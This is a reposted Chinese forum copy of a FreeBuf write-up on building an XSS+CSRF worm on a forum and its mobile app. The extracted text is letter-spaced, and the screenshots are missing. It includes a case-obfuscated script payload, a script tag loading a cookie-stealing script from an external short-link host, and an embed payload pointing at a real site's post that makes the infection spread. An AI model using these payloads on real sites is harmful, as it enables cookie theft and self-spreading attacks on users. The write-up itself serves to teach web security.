搜索

[13585] 2018-12-28_技术讨论记一次XSS蠕虫渗透实验

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2018-12-28_技术讨论记一次XSS蠕虫渗透实验 技 术 讨 论   |   记 一 次 X S S 蠕 虫 渗 透 实 验 原 创   莫 妮 卡 k 3 7   F r e e B u f   2 0 1 8 - 1 2 - 2 8 大 体 思 路 大 体 思 路 1 . 在 发 帖 的 内 容 处 发 现 了 存 储 型 X S S 2 . 对 帖 子 ( 母 贴 ) 的 内 容 进 行 构 造 ， 插 入 C S R F   P O C ， 并 对 其 中 内 容 输 出 为 3 0 2 永 久 重 定 向 到 母 感 染 贴 3 . 所 有 浏 览 此 页 面 的 用 户 都 会 自 动 发 布 一 个 重 定 向 到 母 感 染 贴 的 子 贴 ， 重 定 向 到 母 贴 时 又 再 次 执 行 母 贴 中 的 P O C 再 次 创 建 一 个 子 贴 。 以 上 就 是 X S S + C S R F 构 造 蠕 虫 大 体 的 思 路 ， 下 面 细 化 各 个 步 骤 的 过 程 ， 水 平 不 高 ， 适 合 X S S 初 学 者 的 进 阶 。 一 、 存 储 型 一 、 存 储 型 X S S 1 . 进 入 发 帖 处 ， 添 加 初 步 测 试 p a y l o a d ， 并 查 看 源 码 ： 2 . 观 察 到 可 以 大 小 写 混 淆 绕 过 ， 于 是 构 造 p a y l o a d （ 对 于 屏 蔽 括 号 的 可 以 用   ’   来 代 替 ） ： 3 . 刷 新 页 面 观 察 效 果 ， 成 功 弹 窗 ： < s C r I p t > a l e r t ' x s s ' < / s C r I p t >
4 . 插 入 J S 脚 本 ， 利 用 X S S 平 台 窃 取 用 户 c o o k i e ， 这 是 最 常 用 的 X S S 利 用 手 法 。 P O C ： ： S R C 引 用 的 是 短 地 址 ， 内 容 为 窃 取 用 户 c o o k i e 的 J S 脚 本 ， 详 细 可 以 使 用 X S S 平 台 自 动 生 成 ： 二 、 二 、 X S S 配 合 配 合 C S R F 的 初 步 测 验 的 初 步 测 验 1 . 首 先 验 证 是 否 存 在 C S R F ， 同 样 在 发 布 新 贴 处 ， 填 写 标 题 内 容 ， 点 击 发 布 抓 包 ： 2 . b u r p 自 带 的 生 成 C S R F   P O C ， P O S T 包 处 - 》 右 键 - 》 g e n e r a t e   c s r f   p o c   - 》 保 存 - 》 使 用 另 一 个 账 号 发 送 P O C ， 查 看 自 己 的 帖 子 ， 发 现 成 功 发 送 新 帖 。 3 . 编 写 J S 脚 本 ( 可 以 利 用 X s s ’ o r 来 生 成 ) < s C R i P t / S r C = / / 6 0 . w f / m 5 V P >
4 . C S R F + 存 储 型 X S S 将 脚 本 插 入 到 页 面 中 ： 如 图 ， 内 容 为 发 布 新 帖 的 J S 脚 本 ， 点 击 发 布 ， 就 生 成 了 新 帖 。 5 . 浏 览 此 贴 ， 提 示 成 功 ：
6 . 可 以 看 到 成 功 发 布 出 去 ： 7 . 使 用 其 他 用 户 浏 览 帖 子 测 试 — — 发 现 同 样 不 知 觉 的 发 了 个 新 帖 ， 至 此 ， X S S + C S R F 的 攻 击 已 经 完 成 ： 三 、 蠕 虫 的 构 造 三 、 蠕 虫 的 构 造 再 整 理 一 下 思 路 。 蠕 虫 的 前 提 是 子 贴 的 内 容 ， 即 点 击 我 们 母 感 染 贴 的 用 户 所 发 布 的 子 贴 的 内 容 是 可 控 的 ： 1 . 任 意 发 表 新 帖 ：
2 . 记 录 帖 子 的 U R L 并 点 击 编 辑 ： 3 . 插 入 J S 脚 本 ， 其 中 控 制 子 回 传 贴 3 0 2 重 定 向 到 母 贴 的 U R L 。 p a y l o a d ： ： 意 为 在 页 面 中 插 入 一 个 新 页 面 ， 这 个 新 页 面 为 母 贴 。 < e m b e d / s r c = / b a n g . d u i a . c o m / w e b / n o r m a l / t o p i c / 8 0 6 4 4 0 >
4 . 发 布 后 浏 览 ， 已 生 成 子 回 传 贴 ： 5 . 打 开 子 回 传 贴 ， 发 现 了 在 母 贴 J S 脚 本 中 构 造 的 框 架 ： 6 . 但 是 在 F i r e F o x 却 很 遗 憾 没 有 成 功 ， 打 开 N e t w o r k 发 现 了 这 样 一 个 提 示 。 意 为 无 效 的 C O R S （ 跨 域 资 源 共 享 ） 请 求 。 猜 测 此 处 应 该 是 属 于 白 名 单 拦 截 ， 限 制 了 J S 的 入 口 ：
7 . 通 过 I E 可 以 运 行 ： 8 . 重 点 ！ ！ 这 些 都 不 是 最 重 要 的 ， 因 为 这 是 一 个 A P P ， 所 以 用 户 基 本 上 是 依 赖 手 机 端 来 运 行 。 之 后 在 手 机 端 上 查 看 帖 子 成 功 通 过 子 回 传 U R L 重 定 向 到 母 贴 并 创 建 了 一 个 新 的 子 回 传 贴 。 虽 然 网 站 可 能 有 W A F ， 电 脑 端 I E 可 以 蠕 起 来 ， 但 是 发 现 ， a p p 端 没 有 做 任 何 防 护 ， 直 接 可 以 传 播 。
* 本 文 原 创 作 者 ： 莫 妮 卡 本 文 原 创 作 者 ： 莫 妮 卡 k 3 7 ， 本 文 属 于 ， 本 文 属 于 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理